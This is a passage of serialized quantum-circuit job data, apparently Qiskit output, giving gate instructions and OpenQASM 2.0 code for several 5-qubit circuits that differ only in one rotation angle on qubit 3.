c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1213', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.4000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1215', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1217', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 